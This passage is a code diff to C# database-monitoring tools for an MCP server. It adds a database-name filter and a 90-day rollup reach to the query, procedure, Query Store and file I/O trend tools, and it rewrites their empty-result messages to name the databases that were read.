                    carries one extra clause the others do not need: the ranking counts only series that read
                    or wrote, so a genuinely idle file set is empty here even on a server whose file_io_stats
                    collector ran every cycle. */
-                var gated = await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "file_io_stats", cancellationToken);
+                var gated = McpHelpers.WithDatabase(await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "file_io_stats", cancellationToken), echo);
                 if (gated != null)
                 {
                     return gated;
@@ -325,31 +337,38 @@ collector ran every cycle. */
                 var everCollected = await DarlingTrendReader.HasAnyFileIoStatAsync(postgres, resolved.ServerId, cancellationToken);
 
                 /* A scoped read that found nothing is first a question about the NAME: a misspelt database
-                   and an idle one land here alike, and only the collected names tell them apart. */
-                if (scope is not null && everCollected)
+                   and an idle one land here alike, and only the collected names tell them apart. With a list the
+                   sentence says "the chosen databases" and no verdict about any one of them: the read looked at
+                   the set, and the quiet-window sentence below is about the whole server, which it never read. */
+                if (!databases.IsAll && everCollected)
                 {
-                    return McpHelpers.Status("empty", TrendPayloads.FileIoScopeEmptyMessage(resolved.ServerName, scope, hours_back));
+                    return McpHelpers.StatusForDatabase(
+                        "empty",
+                        scope is not null
+                            ? TrendPayloads.FileIoScopeEmptyMessage(resolved.ServerName, scope, hours_back)
+                            : FileIoChosenDatabasesEmptyMessage(resolved.ServerName, hours_back),
+                        echo);
                 }
 
                 return everCollected
-                    ? McpHelpers.Status(
+                    ? McpHelpers.StatusForDatabase(
                         "empty",
-                        $"No file I/O samples recorded for {resolved.ServerName} in the last {hours_back} hour(s). This server HAS collected file I/O stats before, so this window is genuinely quiet rather than broken — widen hours_back, or read it as no measurable read or write activity on any file in this window.")
-                    : McpHelpers.Status(
+                        $"No file I/O samples recorded for {resolved.ServerName} in the last {hours_back} hour(s). This server HAS collected file I/O stats before, so this window is genuinely quiet rather than broken — widen hours_back, or read it as no measurable read or write activity on any file in this window.", echo)
+                    : McpHelpers.StatusForDatabase(
                         "unavailable",
-                        $"No file I/O stats have EVER been recorded for {resolved.ServerName}. This is not an empty window — the file_io_stats collector has stored nothing at all for this server. Check that collection is running and that the server is enabled; get_file_io_stats will be equally empty until it does.");
+                        $"No file I/O stats have EVER been recorded for {resolved.ServerName}. This is not an empty window — the file_io_stats collector has stored nothing at all for this server. Check that collection is running and that the server is enabled; get_file_io_stats will be equally empty until it does.", echo);
             }
 
             var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, TrendPayloads.LinesFor(series.Count), budget, out var bucketMinutes);
             if (bucketError != null) return bucketError;
 
             var points = await DarlingTrendReader.GetFileIoTrendAsync(
-                postgres, resolved.ServerId, start, now, scope, TrendPayloads.ChartedFor(series.Count), bucketMinutes, cancellationToken);
+                postgres, resolved.ServerId, start, now, databases, TrendPayloads.ChartedFor(series.Count), bucketMinutes, cancellationToken);
             var discontinuities = await DarlingTrendReader.GetBaselineDiscontinuitiesAsync(postgres, resolved.ServerId, start, now, cancellationToken);
 
             return TrendPayloads.FileIoTrend(
                 resolved.ServerName, hours_back, scope, series, points, bucketMinutes, bucket_minutes is not null,
-                budget.AutoPoints, BaselineDiscontinuities.ToPayload(discontinuities));
+                budget.AutoPoints, BaselineDiscontinuities.ToPayload(discontinuities), databaseEcho: echo);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -357,6 +376,14 @@ collector ran every cycle. */
         }
     }
 
+    /// <summary>
+    /// The empty answer for a file I/O trend limited to two or more databases that saw no I/O in the window (#5244): about the
+    /// set, not about any one name. The single-name sentence is <see cref="TrendPayloads.FileIoScopeEmptyMessage"/>.
+    /// </summary>
+    internal static string FileIoChosenDatabasesEmptyMessage(string serverName, int hoursBack) =>
+        $"No read or write activity was recorded for {DatabaseFilter.ManyDatabasesDescription} on {serverName} in the last {hoursBack} hour(s). "
+        + "Each name must match a collected database exactly (get_file_io_stats lists them); omit database_name for every database.";
+
     [McpServerTool(Name = "get_query_trend"), Description("Gets a time-series of performance metrics for a specific query identified by its query_hash. Use this after identifying a problematic query from get_top_queries_by_cpu or get_query_store_top to see how it has changed over time." + McpHelpers.WindowTruncatedDescription + BaselineDiscontinuities.DescriptionSentence)]
     public static async Task<string> GetQueryTrend(
         NpgsqlDataSource postgres,
@@ -471,26 +498,39 @@ want opposite remedies — see the class remarks and McpHelpers.WindowTruncatedD
         }
     }
 
-    [McpServerTool(Name = "get_query_duration_trend"), Description("Gets a time-series of query elapsed_ms_per_second and executions_per_second across all queries, points ending at as_of. A collection whose interval was unknowable is excluded, not counted as 0: unrated_collections counts it, and a point left with nothing else carries null rates (unrated_points), never zero. No points: unavailable means query_stats was never collected here; empty means it was (the message says quiet window or rollup coverage gap). window_truncated is the store's retention floor, not a page cut: effective_start / effective_hours_back say where the answer begins. <<GUIDE>> Gets a time-series of average query duration over time. Useful for spotting overall performance degradation or improvement trends across all queries. Points are time buckets (bucket, aggregate_note); rates are over each collection's STORED sample interval, and a collection whose interval was unknowable - a restart or counter reset, or the window's first collection when none was stored - is left out rather than counted as 0 (unrated_collections counts them; a point with nothing else carries null rates, unrated_points). The hourly rollup route divides by the bucket width and has no unrated point." + McpHelpers.WindowTruncatedDescription + BaselineDiscontinuities.DescriptionSentence)]
+    [McpServerTool(Name = "get_query_duration_trend"), Description("Gets a time-series of query elapsed_ms_per_second and executions_per_second across all queries, points ending at as_of. A collection whose interval was unknowable is excluded, not counted as 0: unrated_collections counts it, and a point left with nothing else carries null rates (unrated_points), never zero. No points: unavailable means query_stats was never collected here; empty means it was (the message says quiet window or rollup coverage gap). window_truncated is the store's retention floor, not a page cut: effective_start / effective_hours_back say where the answer begins. <<GUIDE>> Gets a time-series of average query duration over time. hours_back reaches 2160 (90 days), served from the hourly rollup past the raw tier's four days. Useful for spotting overall performance degradation or improvement trends across all queries. Points are time buckets (bucket, aggregate_note); rates are over each collection's STORED sample interval, and a collection whose interval was unknowable - a restart or counter reset, or the window's first collection when none was stored - is left out rather than counted as 0 (unrated_collections counts them; a point with nothing else carries null rates, unrated_points). The hourly rollup route divides by the bucket width and has no unrated point." + McpHelpers.WindowTruncatedDescription + BaselineDiscontinuities.DescriptionSentence)]
     public static Task<string> GetQueryDurationTrend(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
         [Description(TrendBuckets.BucketMinutesDescription)] int? bucket_minutes = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
         CancellationToken cancellationToken = default) =>
-        GetQueryDurationTrend(postgres, server_name, hours_back, as_of, bucket_minutes, TrendBudget.Mcp(TrendBuckets.DurationMaxPoints), cancellationToken);
+        GetQueryDurationTrend(postgres, server_name, hours_back, as_of, bucket_minutes, DatabaseFilter.One(database_name), TrendBudget.Mcp(TrendBuckets.DurationMaxPoints), cancellationToken);
 
     /// <summary>get_query_duration_trend under an explicit <paramref name="budget"/> (#3897): the MCP tool passes
     /// its own, the web viewer's <c>/api/read</c> mirror <see cref="TrendBudget.Chart"/>.</summary>
-    internal static async Task<string> GetQueryDurationTrend(
+    internal static Task<string> GetQueryDurationTrend(
         NpgsqlDataSource postgres, string? server_name, int hours_back, string? as_of, int? bucket_minutes, TrendBudget budget,
-        CancellationToken cancellationToken = default)
+        CancellationToken cancellationToken = default) =>
+        GetQueryDurationTrend(postgres, server_name, hours_back, as_of, bucket_minutes, DatabaseFilter.All, budget, cancellationToken);
+
+    /// <summary>
+    /// get_query_duration_trend over a SET of databases (#5244). The MCP tool passes
+    /// <c>DatabaseFilter.One(database_name)</c> and the web mirror the repeated keys; the predicate is on both tiers the
+    /// route reads (raw <c>query_stats</c> and the hourly rollup). Every consumer that said something about "the
+    /// server" on an empty answer now says which databases it looked at.
+    /// </summary>
+    internal static async Task<string> GetQueryDurationTrend(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, string? as_of, int? bucket_minutes, DatabaseFilter databases,
+        TrendBudget budget, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: a bucketed trend that routes through the hourly rollup opts in to the 90-day reach WebReadReach declares; every other read keeps 168. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_query_duration_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
@@ -524,11 +564,11 @@ nothing survived the empty branch called the window "genuinely quiet" and advise
                 bucketMinutes = TrendBuckets.OnHourlyTier(bucket_minutes, bucketMinutes);
             }
 
-            var result = await DarlingTrendReader.GetQueryDurationTrendAsync(postgres, resolved.ServerId, startUtc, now, route, bucketMinutes, cancellationToken);
+            var result = await DarlingTrendReader.GetQueryDurationTrendAsync(postgres, resolved.ServerId, startUtc, now, route, bucketMinutes, databases, cancellationToken);
 
             if (result.Points.Count == 0)
             {
-                var gated = await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_stats", cancellationToken);
+                var gated = McpHelpers.WithDatabase(await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_stats", cancellationToken), databases.Describe());
                 if (gated != null)
                 {
                     return gated;
@@ -543,14 +583,14 @@ is not a server nothing was ever stored for. */
                     DarlingTrendReader.HasAnyQueryStatAsync(postgres, resolved.ServerId, cancellationToken),
                     postgres, resolved.ServerId, resolved.ServerName, hours_back, startUtc, now, route, "query",
                     "Check that collection is running and that the server is enabled; get_top_queries_by_cpu will be equally empty until it does.",
-                    new BucketChoice(bucketMinutes, bucket_minutes is not null, budget.AutoPoints), cancellationToken);
+                    new BucketChoice(bucketMinutes, bucket_minutes is not null, budget.AutoPoints), databases, cancellationToken);
             }
 
             /* The two siblings below serialize through the SAME helper, so the three Performance-Trends
                reads cannot advertise three different field sets for one shape. */
             return SerializeTrend(resolved.ServerName, hours_back, result.Points,
                 DescribeRoute(result, now, new BucketChoice(bucketMinutes, bucket_minutes is not null, budget.AutoPoints)),
-                await DarlingTrendReader.GetBaselineDiscontinuitiesAsync(postgres, resolved.ServerId, startUtc, now, cancellationToken));
+                await DarlingTrendReader.GetBaselineDiscontinuitiesAsync(postgres, resolved.ServerId, startUtc, now, cancellationToken), databases);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -558,26 +598,34 @@ is not a server nothing was ever stored for. */
         }
     }
 
-    [McpServerTool(Name = "get_procedure_duration_trend"), Description("Gets a time-series of stored-procedure elapsed_ms_per_second and executions_per_second, summed across every procedure and charged to the whole call rather than smeared across its statements the way query_stats attributes work. Points end at as_of. unrated_points, unrated_collections, the empty/unavailable split and window_truncated (a retention floor, not a page cut) all follow get_query_duration_trend exactly. <<GUIDE>> Gets a time-series of stored-procedure elapsed time per second and executions per second over time, summed across every procedure. The sibling of get_query_duration_trend, and NOT a duplicate of it: query_stats attributes a procedure's work to the individual statements inside it, so a procedure that got slower is smeared across however many statements it runs. This charges the whole call to the procedure. Read the two together to tell an ad-hoc SQL regression from a procedure regression. Points, rates and unrated collections (unrated_points, unrated_collections) follow get_query_duration_trend exactly." + McpHelpers.WindowTruncatedDescription + BaselineDiscontinuities.DescriptionSentence)]
+    [McpServerTool(Name = "get_procedure_duration_trend"), Description("Gets a time-series of stored-procedure elapsed_ms_per_second and executions_per_second, summed across every procedure and charged to the whole call rather than smeared across its statements the way query_stats attributes work. Points end at as_of. unrated_points, unrated_collections, the empty/unavailable split and window_truncated (a retention floor, not a page cut) all follow get_query_duration_trend exactly. <<GUIDE>> Gets a time-series of stored-procedure elapsed time per second and executions per second over time, summed across every procedure. hours_back reaches 2160 (90 days), served from the hourly rollup past the raw tier's four days. The sibling of get_query_duration_trend, and NOT a duplicate of it: query_stats attributes a procedure's work to the individual statements inside it, so a procedure that got slower is smeared across however many statements it runs. This charges the whole call to the procedure. Read the two together to tell an ad-hoc SQL regression from a procedure regression. Points, rates and unrated collections (unrated_points, unrated_collections) follow get_query_duration_trend exactly." + McpHelpers.WindowTruncatedDescription + BaselineDiscontinuities.DescriptionSentence)]
     public static Task<string> GetProcedureDurationTrend(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
         [Description(TrendBuckets.BucketMinutesDescription)] int? bucket_minutes = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
         CancellationToken cancellationToken = default) =>
-        GetProcedureDurationTrend(postgres, server_name, hours_back, as_of, bucket_minutes, TrendBudget.Mcp(TrendBuckets.DurationMaxPoints), cancellationToken);
+        GetProcedureDurationTrend(postgres, server_name, hours_back, as_of, bucket_minutes, DatabaseFilter.One(database_name), TrendBudget.Mcp(TrendBuckets.DurationMaxPoints), cancellationToken);
 
     /// <summary>get_procedure_duration_trend under an explicit <paramref name="budget"/> (#3897) — the query
     /// trend's twin, over the procedure pair.</summary>
-    internal static async Task<string> GetProcedureDurationTrend(
+    internal static Task<string> GetProcedureDurationTrend(
         NpgsqlDataSource postgres, string? server_name, int hours_back, string? as_of, int? bucket_minutes, TrendBudget budget,
-        CancellationToken cancellationToken = default)
+        CancellationToken cancellationToken = default) =>
+        GetProcedureDurationTrend(postgres, server_name, hours_back, as_of, bucket_minutes, DatabaseFilter.All, budget, cancellationToken);
+
+    /// <summary>get_procedure_duration_trend over a SET of databases (#5244): the query trend's twin, over the procedure pair.</summary>
+    internal static async Task<string> GetProcedureDurationTrend(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, string? as_of, int? bucket_minutes, DatabaseFilter databases,
+        TrendBudget budget, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: a bucketed trend that routes through the hourly rollup opts in to the 90-day reach WebReadReach declares; every other read keeps 168. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_procedure_duration_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
@@ -600,11 +648,11 @@ width rule on the hourly tier. */
                 bucketMinutes = TrendBuckets.OnHourlyTier(bucket_minutes, bucketMinutes);
             }
 
-            var result = await DarlingTrendReader.GetProcedureDurationTrendAsync(postgres, resolved.ServerId, startUtc, now, route, bucketMinutes, cancellationToken);
+            var result = await DarlingTrendReader.GetProcedureDurationTrendAsync(postgres, resolved.ServerId, startUtc, now, route, bucketMinutes, databases, cancellationToken);
 
             if (result.Points.Count == 0)
             {
-                var gated = await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "procedure_stats", cancellationToken);
+                var gated = McpHelpers.WithDatabase(await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "procedure_stats", cancellationToken), databases.Describe());
                 if (gated != null)
                 {
                     return gated;
@@ -614,12 +662,12 @@ width rule on the hourly tier. */
                     DarlingTrendReader.HasAnyProcedureStatAsync(postgres, resolved.ServerId, cancellationToken),
                     postgres, resolved.ServerId, resolved.ServerName, hours_back, startUtc, now, route, "stored-procedure",
                     "Check that collection is running and that the server is enabled. A server that genuinely runs no stored procedures also lands here, and that is a real answer rather than a fault.",
-                    new BucketChoice(bucketMinutes, bucket_minutes is not null, budget.AutoPoints), cancellationToken);
+                    new BucketChoice(bucketMinutes, bucket_minutes is not null, budget.AutoPoints), databases, cancellationToken);
             }
 
             return SerializeTrend(resolved.ServerName, hours_back, result.Points,
                 DescribeRoute(result, now, new BucketChoice(bucketMinutes, bucket_minutes is not null, budget.AutoPoints)),
-                await DarlingTrendReader.GetBaselineDiscontinuitiesAsync(postgres, resolved.ServerId, startUtc, now, cancellationToken));
+                await DarlingTrendReader.GetBaselineDiscontinuitiesAsync(postgres, resolved.ServerId, startUtc, now, cancellationToken), databases);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -627,18 +675,30 @@ width rule on the hourly tier. */
         }
     }
 
-    [McpServerTool(Name = "get_query_store_duration_trend"), Description("Gets a time-series of Query Store duration and executions per second, summed across every query, each interval counted once, at the hour it ran. not_collected: engine cannot run Query Store. unavailable: never sampled here. empty: quiet on Lite always; on Darling, empty can also be a rollup coverage gap (window predates the corrected rollup, run --backfill-rollups). Only a point that stored no interval end and has no earlier point to rate against has null rates, never 0 (unrated_points, unrated_note says why). window_truncated marks the retention floor, not a page cut. <<GUIDE>> Gets a time-series of Query Store duration per second and executions per second over time, summed across every query. Where get_query_duration_trend reads the plan cache and loses everything an eviction or a restart takes with it, this reads Query Store, which persists per interval - so it is the series that survives a failover and the one to reach for when a regression is older than the cache. Each interval is counted once, at the hour the work ran. A rollup point (an hourly bucket the corrected rollup has materialized) is rated over its bucket width, so every rollup point is rated, the window's first bucket included; a raw point (a Query Store interval placed at its start, or a legacy row at its collection time) is rated over its own stored interval, its end minus its start. A raw point with no stored end (a row collected before the end was recorded, and every legacy row) falls back to the gap since the PREVIOUS point, so only such a point, when it is first in the window and has no previous one to difference against, carries null rates: unknowable, never reported as 0 (unrated_points counts them, unrated_note says why)." + McpHelpers.WindowTruncatedDescription + BaselineDiscontinuities.DescriptionSentence)]
-    public static async Task<string> GetQueryStoreDurationTrend(
+    [McpServerTool(Name = "get_query_store_duration_trend"), Description("Gets a time-series of Query Store duration and executions per second, summed across every query, each interval counted once, at the hour it ran. not_collected: engine cannot run Query Store. unavailable: never sampled here. empty: quiet on Lite always; on Darling, empty can also be a rollup coverage gap (window predates the corrected rollup, run --backfill-rollups). Only a point that stored no interval end and has no earlier point to rate against has null rates, never 0 (unrated_points, unrated_note says why). window_truncated marks the retention floor, not a page cut. <<GUIDE>> Gets a time-series of Query Store duration per second and executions per second over time, summed across every query. hours_back reaches 2160 (90 days), served from the hourly rollup past the raw tier's four days. Where get_query_duration_trend reads the plan cache and loses everything an eviction or a restart takes with it, this reads Query Store, which persists per interval - so it is the series that survives a failover and the one to reach for when a regression is older than the cache. Each interval is counted once, at the hour the work ran. A rollup point (an hourly bucket the corrected rollup has materialized) is rated over its bucket width, so every rollup point is rated, the window's first bucket included; a raw point (a Query Store interval placed at its start, or a legacy row at its collection time) is rated over its own stored interval, its end minus its start. A raw point with no stored end (a row collected before the end was recorded, and every legacy row) falls back to the gap since the PREVIOUS point, so only such a point, when it is first in the window and has no previous one to difference against, carries null rates: unknowable, never reported as 0 (unrated_points counts them, unrated_note says why)." + McpHelpers.WindowTruncatedDescription + BaselineDiscontinuities.DescriptionSentence)]
+    public static Task<string> GetQueryStoreDurationTrend(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        CancellationToken cancellationToken = default) =>
+        GetQueryStoreDurationTrend(postgres, server_name, hours_back, as_of, DatabaseFilter.One(database_name), cancellationToken);
+
+    /// <summary>
+    /// get_query_store_duration_trend over a SET of databases (#5244). The predicate is on the rollup arm and both
+    /// raw arms (or both raw-only arms), so the series is the chosen databases' Query Store work and an empty answer
+    /// names them.
+    /// </summary>
+    internal static async Task<string> GetQueryStoreDurationTrend(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, string? as_of, DatabaseFilter databases,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: a bucketed trend that routes through the hourly rollup opts in to the 90-day reach WebReadReach declares; every other read keeps 168. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_query_store_duration_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         try
@@ -664,7 +724,7 @@ raw query_store_stats is dropped at four days only once its rollups cover it (th
             var (_, coverage) = await ComposeStoreAvailability.GetRollupsAsync(postgres, cancellationToken);
             var route = await QueryStoreTrendRouting.ResolveAsync(coverage, postgres, cancellationToken);
             var points = await DarlingTrendReader.GetQueryStoreDurationTrendAsync(
-                postgres, resolved.ServerId, startUtc, now, route, cancellationToken);
+                postgres, resolved.ServerId, startUtc, now, route, databases, cancellationToken);
             var disclosure = DescribeQueryStoreRoute(route, points, startUtc, now);
 
             if (points.Count == 0)
@@ -674,7 +734,7 @@ raw query_store_stats is dropped at four days only once its rollups cover it (th
                     every database on the instance. A server with no Query Store data is not a server with
                     no slow queries, so the message names that cause first.
                 */
-                var gated = await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_store", cancellationToken);
+                var gated = McpHelpers.WithDatabase(await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_store", cancellationToken), databases.Describe());
                 if (gated != null)
                 {
                     return gated;
@@ -691,7 +751,7 @@ every database on the instance. A server with no Query Store data is not a serve
                     return EmptyStatus(
                         "empty",
                         $"The requested window ends before {floor:o}, the oldest hour the corrected Query Store rollup has materialized. This read serves history from query_store_stats_corrected_hourly rather than ranking the raw Query Store slab (#2736), so windows before that floor come back empty even when rows were collected — run --backfill-rollups to materialize deeper history.",
-                        disclosure);
+                        disclosure, databases);
                 }
 
                 var everSampled = await DarlingTrendReader.HasAnyQueryStoreStatAsync(postgres, resolved.ServerId, cancellationToken);
@@ -701,7 +761,7 @@ every database on the instance. A server with no Query Store data is not a serve
                         "unavailable",
                         NeverSampledMessage(resolved.ServerName, "Query Store",
                             "Query Store may be OFF on this server's databases — that, not an absence of slow queries, is the usual cause. Check QUERY_STORE = ON per database, then that collection is running for this server."),
-                        disclosure);
+                        disclosure, databases);
                 }
 
                 /*
@@ -714,15 +774,15 @@ only quiet in the part the rollup has reached. The unserved head is named so "wi
                 {
                     return EmptyStatus(
                         "empty",
-                        $"No Query Store samples were recorded for {resolved.ServerName} between {head:o} — the oldest hour the corrected rollup has materialized — and the end of the window. This server HAS been sampled before, so that stretch is genuinely quiet; the part of the window before {head:o} is unserved rather than quiet (the rollup has not materialized it and this read no longer ranks the raw slab for it, #2736) — run --backfill-rollups to materialize it. Widening hours_back finds newer samples only; it cannot reach the unserved head.",
-                        disclosure);
+                        $"No Query Store samples were recorded for {ScopedServer(resolved.ServerName, databases)} between {head:o} — the oldest hour the corrected rollup has materialized — and the end of the window. This server HAS been sampled before, so that stretch is genuinely quiet; the part of the window before {head:o} is unserved rather than quiet (the rollup has not materialized it and this read no longer ranks the raw slab for it, #2736) — run --backfill-rollups to materialize it. Widening hours_back finds newer samples only; it cannot reach the unserved head.",
+                        disclosure, databases);
                 }
 
-                return EmptyStatus("empty", QuietWindowMessage(resolved.ServerName, hours_back, "Query Store"), disclosure);
+                return EmptyStatus("empty", QuietWindowMessage(ScopedServer(resolved.ServerName, databases), hours_back, "Query Store"), disclosure, databases);
             }
 
             return SerializeTrend(resolved.ServerName, hours_back, points, disclosure,
-                await DarlingTrendReader.GetBaselineDiscontinuitiesAsync(postgres, resolved.ServerId, startUtc, now, cancellationToken));
+                await DarlingTrendReader.GetBaselineDiscontinuitiesAsync(postgres, resolved.ServerId, startUtc, now, cancellationToken), databases);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -871,12 +931,14 @@ private static (DateTime EffectiveStartUtc, bool Truncated) DescribeEmptyCoverag
     /// </summary>
     private static string SerializeTrend(
         string serverName, int hours_back, List<DarlingTrendReader.QueryDurationTrendPoint> points,
-        TrendDisclosure disclosure, IReadOnlyList<BaselineDiscontinuity> discontinuities)
+        TrendDisclosure disclosure, IReadOnlyList<BaselineDiscontinuity> discontinuities, DatabaseFilter databases)
     {
         var envelope = new Dictionary<string, object?>
         {
             ["server"] = serverName,
             ["hours_back"] = hours_back,
+            /* #5244: which databases the series is limited to: the name for one, "the chosen databases" for two or more, null for all. */
+            ["database_name"] = databases.Describe(),
         };
         disclosure.WriteTo(envelope);
         /* #3541 A12: a point with no rate is published as null, never as 0, and the envelope says how many
@@ -925,12 +987,15 @@ apart from the points — a restart inside a rated bucket is still reported. */
     /// <c>message</c>: an empty answer still says which tier it read and how far that tier reached, because
     /// "nothing here" means different things from a four-day raw tier and a ninety-day rollup.
     /// </summary>
-    private static string EmptyStatus(string status, string message, TrendDisclosure disclosure)
+    private static string EmptyStatus(string status, string message, TrendDisclosure disclosure, DatabaseFilter databases)
     {
         var envelope = new Dictionary<string, object?>
         {
             ["status"] = status,
             ["message"] = message,
+            /* #5244 review L2: the same echo SerializeTrend writes, so a caller reads which databases the answer was
+               limited to whether it got data or none: the name for one, "the chosen databases" for two or more, null for all. */
+            ["database_name"] = databases.Describe(),
         };
         disclosure.WriteTo(envelope);
         return JsonSerializer.Serialize(envelope, McpHelpers.JsonOptions);
@@ -991,6 +1056,15 @@ cannot disagree about what served a window or whether its head was reached. */
             routing);
     }
 
+    /// <summary>
+    /// The server's name with the databases an answer covered (#5244), for the empty answers that say a stretch was
+    /// quiet: with a filter the read looked at the chosen databases only, so "nothing recorded for the server" would
+    /// be a verdict about databases it never read. Every database leaves the name as it was. The never-sampled
+    /// answer stays on the bare name, because its probe is server-wide and its verdict is too.
+    /// </summary>
+    private static string ScopedServer(string serverName, DatabaseFilter databases) =>
+        serverName + DarlingMcpBlockingTools.ForChosenDatabases(databases);
+
     /// <summary>The two-state sentence pair the trio shares with Lite's twins, word for word (#2484, #2485).</summary>
     private static string QuietWindowMessage(string serverName, int hours_back, string what) =>
         $"No {what} samples were recorded for {serverName} in the last {hours_back} hour(s). This server HAS been sampled before, so this window is genuinely quiet rather than broken — widen hours_back to find the most recent samples.";
@@ -1017,13 +1091,14 @@ private static string NeverSampledMessage(string serverName, string what, string
     private static async Task<string> EmptyRoutedTrendAsync(
         Task<bool> rawProbe, NpgsqlDataSource postgres, int serverId, string serverName, int hours_back,
         DateTime startUtc, DateTime windowEndUtc, DarlingTrendReader.DurationTrendRoute route,
-        string what, string checkThis, BucketChoice bucket, CancellationToken cancellationToken = default)
+        string what, string checkThis, BucketChoice bucket, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var disclosure = DescribeEmptyRoute(route, startUtc, windowEndUtc, bucket);
+        var scoped = ScopedServer(serverName, databases);
 
         if (!await DarlingTrendReader.HasAnySampleOnRouteAsync(postgres, rawProbe, route, serverId, cancellationToken))
         {
-            return EmptyStatus("unavailable", NeverSampledMessage(serverName, what, checkThis), disclosure);
+            return EmptyStatus("unavailable", NeverSampledMessage(serverName, what, checkThis), disclosure, databases);
         }
 
         if (route.Tier == RetentionTier.Hourly)
@@ -1031,14 +1106,14 @@ private static async Task<string> EmptyRoutedTrendAsync(
             var floor = route.Coverage.HourlyFloorUtc;
             var reach = floor is DateTime f
                 ? (f <= startUtc
-                    ? $"The rollup has materialized history from {f:o}, which covers the whole window, so nothing was recorded for this server in it in the tier searched — a quiet stretch, or a refresh gap inside the rollup (check get_collection_health)."
+                    ? $"The rollup has materialized history from {f:o}, which covers the whole window, so nothing was recorded for {(databases.IsAll ? "this server" : scoped)} in it in the tier searched — a quiet stretch, or a refresh gap inside the rollup (check get_collection_health)."
                     : $"The rollup has materialized history only from {f:o}; the part of the window before that is UNSERVED rather than quiet, and the raw rows for it were dropped by retention. Run --backfill-rollups to materialize deeper history.")
                 : "The rollup has materialized NOTHING yet, so this is a coverage gap rather than a quiet server: the raw rows for this span were dropped by retention and only --backfill-rollups can materialize them.";
 
             return EmptyStatus(
                 "empty",
-                $"No {what} samples in the hourly rollup ({route.HourlyView}) for {serverName} over the last {hours_back} hour(s), from {startUtc:o}. The window reaches past the raw tier's {TimescaleSupport.RawRetentionSpan.TotalDays:0}-day retention, so this read served the rollup, not raw. {reach} Widening hours_back cannot help here.",
-                disclosure);
+                $"No {what} samples in the hourly rollup ({route.HourlyView}) for {scoped} over the last {hours_back} hour(s), from {startUtc:o}. The window reaches past the raw tier's {TimescaleSupport.RawRetentionSpan.TotalDays:0}-day retention, so this read served the rollup, not raw. {reach} Widening hours_back cannot help here.",
+                disclosure, databases);
         }
 
         /*
@@ -1057,15 +1132,15 @@ Raw route. Honest "quiet" needs raw to reach the window's start. Raw's oldest ro
         var rawReaches = route.RawReaches(startUtc) ?? !pastRawHorizon;
         if (rawReaches)
         {
-            return EmptyStatus("empty", QuietWindowMessage(serverName, hours_back, what), disclosure);
+            return EmptyStatus("empty", QuietWindowMessage(scoped, hours_back, what), disclosure, databases);
         }
 
         if (!pastRawHorizon && route.Coverage.RawOldestUtc is DateTime storeOldest)
         {
             return EmptyStatus(
                 "empty",
-                $"No {what} samples were recorded for {serverName} between {storeOldest:o} — the oldest {route.RawTable} row this store holds for any server — and the end of the window. This server HAS been sampled before, so that stretch is genuinely quiet; the part of the window before {storeOldest:o} predates the store's history rather than being quiet, and widening hours_back cannot reach it.",
-                disclosure);
+                $"No {what} samples were recorded for {scoped} between {storeOldest:o} — the oldest {route.RawTable} row this store holds for any server — and the end of the window. This server HAS been sampled before, so that stretch is genuinely quiet; the part of the window before {storeOldest:o} predates the store's history rather than being quiet, and widening hours_back cannot reach it.",
+                disclosure, databases);
         }
 
